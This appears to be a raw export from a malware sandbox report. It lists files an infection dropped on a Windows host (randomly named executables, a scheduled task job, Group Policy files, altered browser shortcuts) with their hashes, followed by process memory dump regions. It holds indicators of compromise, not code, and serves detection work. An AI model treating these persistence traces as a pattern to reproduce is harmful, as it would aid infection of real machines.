e75f3febdeda3e6e19a9ab255a2cbcd1

SHA1
7e78ecd32a9dd1716532079c003e4cc0a59423de

SHA256
4a2ab6dc44edf7897f331280a51973fcdc6e74eb1138dda6d9bfcdbc10f6b0bd

SHA512
781db008c5aee6a10b6f20f499fde36eaa2204a4025f451a49f4e49229dee78191bc8a4b38e6660b206fdb9f92af826345efb039784f43467f0edf3ab44c1cca

Download Submit
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe

Filesize
304KB

MD5
0c582da789c91878ab2f1b12d7461496

SHA1
238bd2408f484dd13113889792d6e46d6b41c5ba

SHA256
a6ab532816fbb0c9664c708746db35287aaa85cbb417bef2eafcd9f5eaf7cf67

SHA512
a1b7c5c13462a7704ea2aea5025d1cb16ddd622fe1e2de3bbe08337c271a4dc8b9be2eae58a4896a7df3ad44823675384dbc60bdc737c54b173909be7a0a086a

Download Submit
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe

Filesize
750KB

MD5
20ae0bb07ba77cb3748aa63b6eb51afb

SHA1
87c468dc8f3d90a63833d36e4c900fa88d505c6d

SHA256
daf6ae706fc78595f0d386817a0f8a3a7eb4ec8613219382b1cbaa7089418e7d

SHA512
db315e00ce2b2d5a05cb69541ee45aade4332e424c4955a79d2b7261ab7bd739f02dc688224f031a7a030c92fa915d029538e236dbd3c28b8d07d1265a52e5b2

Download Submit
C:\Users\Admin\Desktop\Microsoft Edge.lnk

Filesize
2KB

MD5
0b6a6d78e0015ea70d3d75f1709506ce

SHA1
9e1aea096f270eae4c39f6095af499eeb6c4e37b

SHA256
2f433b0a6cd385b320dd199135355592e921cdb10f595e7cfe3ff144e89ead0c

SHA512
c4b682315e96efc3f75237cbcca5af061030337bcdea1adbeb2283e1048fded0567da3b328ac13b3664febaee391362e209ec65f6536544de1acee0d8d3a81e2

Download Submit
C:\Users\Admin\Desktop\Microsoft Edge.lnk

Filesize
2KB

MD5
51cf653eb7a472a7be4d22fe777c90ec

SHA1
232e682ae6b8f9f459855145ff0a72e2d0eea130

SHA256
ad58fe686a248e4505704cfe729bbf8a97c7d4f1765b4925c7934852284f0227

SHA512
6017531dad4d19f76ad430157f09c459bd78483e12cccafcac199a2ef38b59aacf9c93300317748d05f9a94608cc9897ec9c464750154ddb5cb5393574c686fd

Download Submit
C:\Users\Admin\Pictures\7ETSa1GCjqnlcydnwO2XmGee.exe

Filesize
7KB

MD5
77f762f953163d7639dff697104e1470

SHA1
ade9fff9ffc2d587d50c636c28e4cd8dd99548d3

SHA256
d9e15bb8027ff52d6d8d4e294c0d690f4bbf9ef3abc6001f69dcf08896fbd4ea

SHA512
d9041d02aaca5f06a0f82111486df1d58df3be7f42778c127ccc53b2e1804c57b42b263cc607d70e5240518280c7078e066c07dec2ea32ec13fb86aa0d4cb499

Download Submit
C:\Users\Admin\Pictures\cRPagumMH9OQNUUxiBEL0EFv.exe

Filesize
2.6MB

MD5
3d233051324a244029b80824692b2ad4

SHA1
a053ebdacbd5db447c35df6c4c1686920593ef96

SHA256
fbd467ce72bca00eea3aaa6f32abc8aca1a734030d082458e21e1fe91e6a8d84

SHA512
7f19c6400ac46556a9441844242b1acb0b2f11a47f5d51f6d092406a8c759a6d78c578bb5b15035e7cd1cdb3035acf0db884708b0da1a83eb652a50a68e3a949

Download Submit
C:\Users\Admin\Pictures\gcRvtZ4CoGbXVeGWnMpjUNWG.exe

Filesize
6.2MB

MD5
5cc472dcd66120aed74de36341bfd75a

SHA1
1dfc4d42da90fe070d4474ddd7fa7b6f6ffa97ab

SHA256
958dd14c90b1c73852f926608f212377aa3a36666c04024f97c20deb375e9773

SHA512
b5cf358d95ec9a6cca81d2e9c23f0ede93ab94963bb5c626f4e6233a06cedae63b73dd81d2455acb29b003c3b4e2f54da6010daebc4639a3dcc54314d4fe4f81

Download Submit
C:\Users\Admin\Pictures\hm1aNHzNQbQ2oAdlzgSeEKBK.exe

Filesize
1.5MB

MD5
cd4acedefa9ab5c7dccac667f91cef13

SHA1
bff5ce910f75aeae37583a63828a00ae5f02c4e7

SHA256
dd0e8944471f44180dd44807d817e0b8a1c931fc67d48278cdb7354d98567e7c

SHA512
06fae66da503eb1b9b4fbe63a5bb98c519a43999060029c35fe289e60b1cb126a6278c67ce90f02e05b893fcaea6d54f9deb65bc6da82561487a7754f50c93d1

Download Submit
C:\Users\Admin\Pictures\rKmSqSpKPudtsIa6WNuT0o3J.exe

Filesize
6.2MB

MD5
382307497abd634a05135b72690f8b2a

SHA1
87e587c8fc92e93cc5742ec3ba461ed2f28e4ad6

SHA256
45ab37527b51f17c6665856e1266f916a1ddf8609c9e3106904219c909c78cb9

SHA512
8021605db06782b311e530e929c8b9de144bbf778f651f90892821e7ecc854820556330afcfbfb4637e1db456cb0c6ab8bbacfbd90ba4a802d55066521df1c60

Download Submit
C:\Users\Admin\Pictures\wrHHnYrdHXjS8LUsPORFGgBn.exe

Filesize
280KB

MD5
9b811321fcab794c77c3f9a6b6622c37

SHA1
97121633b1a111f0013f2336d85ac8856d389e24

SHA256
39c3b9a4bb0c39de60e0f1f1e691b1660e1d12c5b19b184fd93970188b4fe3ee

SHA512
0d696fa2a29f7165b52d5235bd2a32f1b16b713149e66486fc568914b26bb654b53b87f707d4fb67ae847b0d70c9e23408f3eb921b50aa1dda200e0623925700

Download Submit
C:\Users\Public\Desktop\Google Chrome.lnk

Filesize
2KB

MD5
1aa4c8a8b942fc6bcb48eb0074a8115a

SHA1
9fd64716658829032a272d64fba6b5b0fcc2faff

SHA256
bde42a06c4b56700c437c20f3c8559ebbecb8470eb13f67ea0654e69c62441e4

SHA512
d14ff2c99de25c3cf0398892a1a5c34cf97a2a301c6d8391b14925f9d6105c3d0e25e4e19788db336d75a36b7274e6761beeebbda66ec0ada40f060e2d25afa3

Download Submit
C:\Windows\System32\GroupPolicy\gpt.ini

Filesize
127B

MD5
8ef9853d1881c5fe4d681bfb31282a01

SHA1
a05609065520e4b4e553784c566430ad9736f19f

SHA256
9228f13d82c3dc96b957769f6081e5bac53cffca4ffde0ba1e102d9968f184a2

SHA512
5ddee931a08cfea5bb9d1c36355d47155a24d617c2a11d08364ffc54e593064011dee4fea8ac5b67029cab515d3071f0ba0422bb76af492a3115272ba8feb005

Download Submit
C:\Windows\Tasks\bbmnnUCIPYyTQrzMQJ.job

Filesize
430B

MD5
c690d18df0bfe65bc4f6c618c2665c90

SHA1
2c05203c3d3ea49f94b927532df16bf847a032ff

SHA256
b77e46ab341655b226c1ddb26b01ee444f326e383756ddcaca2eb19f4bba921f

SHA512
8350da01cae0ebadd76e1efc3f299f171936ee583d0efe29169d95810faa4719fb914fc5af7af6d680ee08104c39af637c1665e73a6887417e0f35a9ac4b0d0b

Download Submit
C:\Windows\Temp\631389.exe

Filesize
6.0MB

MD5
5cdb390aaba8caad929f5891f86cf8d7

SHA1
324a43fa56dffe541c0414f253faf2bf34ad9fa4

SHA256
1dfe2dd5f1bd757e852a271e0dc34f96aa9418983e9c8aded545302d2d69de44

SHA512
9e8dab07b840d9b0949a539e70cfa155ad08b34c73ae7f2810909f4bf5e1ddcee79f9630a9422083d244322d1afd9d91ade9fc4d75324bc4e45ee67a4900bbe9

Download Submit
C:\Windows\system32\GroupPolicy\Machine\Registry.pol

Filesize
1KB

MD5
cdfd60e717a44c2349b553e011958b85

SHA1
431136102a6fb52a00e416964d4c27089155f73b

SHA256
0ee08da4da3e4133e1809099fc646468e7156644c9a772f704b80e338015211f

SHA512
dfea0d0b3779059e64088ea9a13cd6b076d76c64db99fa82e6612386cae5cda94a790318207470045ef51f0a410b400726ba28cb6ecb6972f081c532e558d6a8

Download Submit
memory/372-57-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/372-69-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/988-116-0x0000000005830000-0x000000000583A000-memory.dmp

Filesize
40KB

Download
memory/988-80-0x0000000005670000-0x0000000005702000-memory.dmp

Filesize
584KB

Download
memory/988-351-0x0000000008730000-0x0000000008C5C000-memory.dmp

Filesize
5.2MB

Download
memory/988-222-0x0000000006FA0000-0x0000000006FEC000-memory.dmp

Filesize
304KB

Download
memory/988-347-0x0000000008030000-0x00000000081F2000-memory.dmp

Filesize
1.8MB

Download
memory/988-523-0x00000000058F0000-0x0000000005940000-memory.dmp

Filesize
320KB

Download
memory/988-78-0x0000000000D60000-0x0000000000DB2000-memory.dmp

Filesize
328KB

Download
memory/988-79-0x0000000005B70000-0x0000000006114000-memory.dmp

Filesize
5.6MB

Download
memory/1312-1-0x0000000077694000-0x0000000077696000-memory.dmp

Filesize
8KB

Download
memory/1312-2-0x0000000000141000-0x000000000016F000-memory.dmp

Filesize
184KB

Download
memory/1312-4-0x0000000000140000-0x00000000005FE000-memory.dmp

Filesize
4.7MB

Download
memory/1312-3-0x0000000000140000-0x00000000005FE000-memory.dmp

Filesize
4.7MB

Download
memory/1312-5-0x0000000000140000-0x00000000005FE000-memory.dmp

Filesize
4.7MB

Download
memory/1312-7-0x0000000000140000-0x00000000005FE000-memory.dmp

Filesize
4.7MB

Download
memory/1312-19-0x0000000000140000-0x00000000005FE000-memory.dmp

Filesize
4.7MB

Download
memory/1312-0-0x0000000000140000-0x00000000005FE000-memory.dmp

Filesize
4.7MB

Download
memory/1600-252-0x0000000000400000-0x0000000000458000-memory.dmp

Filesize
352KB

Download
memory/1600-250-0x0000000000400000-0x0000000000458000-memory.dmp

Filesize
352KB

Download
memory/1604-56-0x0000000000CD0000-0x0000000000CD1000-memory.dmp

Filesize
4KB

Download
memory/1604-58-0x0000000000CD0000-0x0000000000CD1000-memory.dmp

Filesize
4KB

Download
memory/1728-251-0x00000000003D0000-0x00000000003D1000-memory.dmp

Filesize
4KB

Download
memory/2156-555-0x0000000000940000-0x0000000000FAE000-memory.dmp

Filesize
6.4MB

Download
memory/2156-584-0x0000000010000000-0x00000000105DD000-memory.dmp

Filesize
5.9MB

Download
memory/2156-274-0x000001C1A8200000-0x000001C1A820A000-memory.dmp

Filesize
40KB

Download
memory/2156-302-0x000001C1C2800000-0x000001C1C285C000-memory.dmp

Filesize
368KB

Download
memory/2188-205-0x00000000072A0000-0x00000000078B8000-memory.dmp

Filesize
6.1MB

Download
memory/2188-194-0x0000000006B60000-0x0000000006B7E000-memory.dmp

Filesize
120KB

Download
memory/2188-217-0x0000000006D90000-0x0000000006DCC000-memory.dmp

Filesize
240KB

Download
memory/2188-184-0x0000000006260000-0x00000000062D6000-memory.dmp

Filesize
472KB

Download
memory/2188-206-0x0000000006DF0000-0x0000000006EFA000-memory.dmp

Filesize
1.0MB

Download
memory/2188-208-0x0000000006D30000-0x0000000006D42000-memory.dmp

Filesize
72KB

Download
memory/2188-123-0x0000000000CC0000-0x0000000000D12000-memory.dmp

Filesize
328KB

Download
memory/2188-298-0x0000000007040000-0x00000000070A6000-memory.dmp

Filesize
408KB

Download
memory/2244-39-0x0000000000400000-0x0000000000592000-memory.dmp

Filesize
1.6MB

Download
memory/2752-731-0x00000000074F0000-0x0000000007522000-memory.dmp

Filesize
200KB

Download
memory/2752-766-0x00000000076B0000-0x00000000076C4000-memory.dmp

Filesize
80KB

Download
memory/2752-730-0x0000000007A00000-0x000000000807A000-memory.dmp

Filesize
6.5MB

Download
memory/2752-743-0x00000000074D0000-0x00000000074EE000-memory.dmp

Filesize
120KB

Download
memory/2752-767-0x00000000077A0000-0x00000000077BA000-memory.dmp

Filesize
104KB

Download
memory/2752-733-0x000000006B0F0000-0x000000006B444000-memory.dmp

Filesize
3.3MB

Download
memory/2752-756-0x0000000007620000-0x000000000762A000-memory.dmp

Filesize
40KB

Download
memory/2752-768-0x0000000007790000-0x0000000007798000-memory.dmp

Filesize
32KB

Download
memory/2752-765-0x00000000076A0000-0x00000000076AE000-memory.dmp

Filesize
56KB

Download
memory/2752-744-0x0000000007530000-0x00000000075D3000-memory.dmp

Filesize
652KB

Download
memory/2752-732-0x000000006C790000-0x000000006C7DC000-memory.dmp

Filesize
304KB

Download
memory/3152-626-0x0000000006780000-0x000000000679E000-memory.dmp

Filesize
120KB

Download
memory/3152-603-0x0000000005930000-0x0000000005F58000-memory.dmp

Filesize
6.2MB

Download
memory/3152-607-0x0000000005900000-0x0000000005922000-memory.dmp

Filesize
136KB

Download
memory/3152-602-0x0000000002E90000-0x0000000002EC6000-memory.dmp

Filesize
216KB

Download
memory/3152-618-0x00000000061B0000-0x0000000006504000-memory.dmp

Filesize
3.3MB

Download
memory/3152-608-0x00000000060D0000-0x0000000006136000-memory.dmp

Filesize
408KB

Download
memory/3556-183-0x0000000000400000-0x000000000063B000-memory.dmp

Filesize
2.2MB

Download
memory/3556-223-0x0000000061E00000-0x0000000061EF3000-memory.dmp

Filesize
972KB

Download
memory/3556-180-0x0000000000400000-0x000000000063B000-memory.dmp

Filesize
2.2MB

Download
memory/3564-650-0x0000000000940000-0x0000000000FAE000-memory.dmp

Filesize
6.4MB

Download
memory/3564-665-0x0000000010000000-0x00000000105DD000-memory.dmp

Filesize
5.9MB

Download
memory/4032-40-0x000000000055B000-0x000000000055C000-memory.dmp

Filesize
4KB

Download
memory/4368-23-0x0000000000B50000-0x000000000100E000-memory.dmp

Filesize
4.7MB

Download
memory/4368-279-0x0000000000B50000-0x000000000100E000-memory.dmp

Filesize
4.7MB

Download
memory/4368-690-0x0000000000B50000-0x000000000100E000-memory.dmp

Filesize
4.7MB

Download
memory/4368-21-0x0000000000B51000-0x0000000000B7F000-memory.dmp

Filesize
184KB

Download
memory/4368-496-0x0000000000B50000-0x000000000100E000-memory.dmp

Filesize
4.7MB

Download
memory/4368-497-0x0000000000B50000-0x000000000100E000-memory.dmp

Filesize
4.7MB

Download
memory/4368-573-0x0000000000B50000-0x000000000100E000-memory.dmp

Filesize
4.7MB

Download
memory/4368-20-0x0000000000B50000-0x000000000100E000-memory.dmp

Filesize
4.7MB

Download
memory/4368-649-0x0000000000B50000-0x000000000100E000-memory.dmp

Filesize
4.7MB

Download
memory/4368-647-0x0000000000B50000-0x000000000100E000-memory.dmp

Filesize
4.7MB

Download
memory/4368-643-0x0000000000B50000-0x000000000100E000-memory.dmp

Filesize
4.7MB

Download
memory/4368-22-0x0000000000B50000-0x000000000100E000-memory.dmp

Filesize
4.7MB

Download
memory/4380-181-0x0000000001380000-0x0000000001381000-memory.dmp

Filesize
4KB

Download
memory/4788-629-0x0000000010000000-0x00000000105DD000-memory.dmp

Filesize
5.9MB

Download
memory/4788-590-0x00000000004A0000-0x0000000000B0E000-memory.dmp

Filesize
6.4MB

Download
memory/5032-281-0x00000000205E0000-0x0000000020656000-memory.dmp

Filesize
472KB

Download
memory/5032-144-0x0000000000C40000-0x0000000000D00000-memory.dmp

Filesize
768KB

Download
memory/5032-307-0x0000000021230000-0x0000000021758000-memory.dmp

Filesize
5.2MB

Download
memory/5032-275-0x0000000020050000-0x000000002015A000-memory.dmp

Filesize
1.0MB

Download
memory/5032-306-0x0000000020B30000-0x0000000020CF2000-memory.dmp

Filesize
1.8MB

Download
memory/5032-282-0x000000001BB20000-0x000000001BB3E000-memory.dmp

Filesize
120KB

Download
memory/5032-276-0x000000001BCA0000-0x000000001BCB2000-memory.dmp

Filesize
72KB

Download
memory/5032-277-0x000000001C840000-0x000000001C87C000-memory.dmp

Filesize
240KB

Download
memory/5180-829-0x000001CDEA6E0000-0x000001CDEA6FC000-memory.dmp

Filesize
112KB

Download
memory/5180-839-0x000001CDEA720000-0x000001CDEA728000-memory.dmp

Filesize
32KB

Download
memory/5180-840-0x000001CDEA750000-0x000001CDEA756000-memory.dmp

Filesize
24KB

Download
memory/5180-836-0x000001CDEA710000-0x000001CDEA71A000-memory.dmp

Filesize
40KB

Download
memory/5180-833-0x000001CDEA730000-0x000001CDEA74C000-memory.dmp

Filesize
112KB

Download
memory/5180-832-0x000001CDEA700000-0x000001CDEA70A000-memory.dmp

Filesize
40KB

Download
memory/5180-838-0x000001CDEB9A0000-0x000001CDEB9BA000-memory.dmp

Filesize
104KB

Download
memory/5180-830-0x000001CDEAA70000-0x000001CDEAB25000-memory.dmp

Filesize
724KB

Download
memory/5280-692-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5280-645-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5280-554-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5280-576-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5424-372-0x0000021CEE500000-0x0000021CEE522000-memory.dmp

Filesize
136KB

Download
memory/5436-346-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/5648-628-0x0000016D0EEB0000-0x0000016D0EED0000-memory.dmp

Filesize
128KB

Download
memory/5872-521-0x0000000140000000-0x0000000140C18000-memory.dmp

Filesize
12.1MB

Download
memory/5872-522-0x0000000140000000-0x0000000140C18000-memory.dmp

Filesize
12.1MB

Download
memory/5872-577-0x0000000140000000-0x0000000140C18000-memory.dmp

Filesize
12.1MB

Download
memory/5944-627-0x0000000000400000-0x0000000000490000-memory.dmp

Filesize
576KB

Download
memory/5944-552-0x0000000000400000-0x0000000000490000-memory.dmp

Filesize
576KB

Download
memory/5944-574-0x0000000000400000-0x0000000000490000-memory.dmp

Filesize
576KB

Download
memory/6008-745-0x000000006C790000-0x000000006C7DC000-memory.dmp

Filesize
304KB

Download
memory/6008-757-0x0000000007310000-0x0000000007321000-memory.dmp

Filesize
68KB

Download
memory/6008-746-0x000000006B0F0000-0x000000006B444000-memory.dmp

Filesize
3.3MB

Download
memory/6008-720-0x00000000060F0000-0x0000000006134000-memory.dmp

Filesize
272KB

Download
memory/6096-678-0x0000000006BD0000-0x0000000006C66000-memory.dmp

Filesize
600KB

Download
memory/6096-679-0x00000000060D0000-0x00000000060EA000-memory.dmp

Filesize
104KB

Download
memory/6096-680-0x0000000006150000-0x0000000006172000-memory.dmp

Filesize
136KB

Download
memory/6124-691-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/6124-644-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/6124-553-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/6124-575-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/6136-716-0x00000000004A0000-0x0000000000B0E000-memory.dmp

Filesize
6.4MB

Download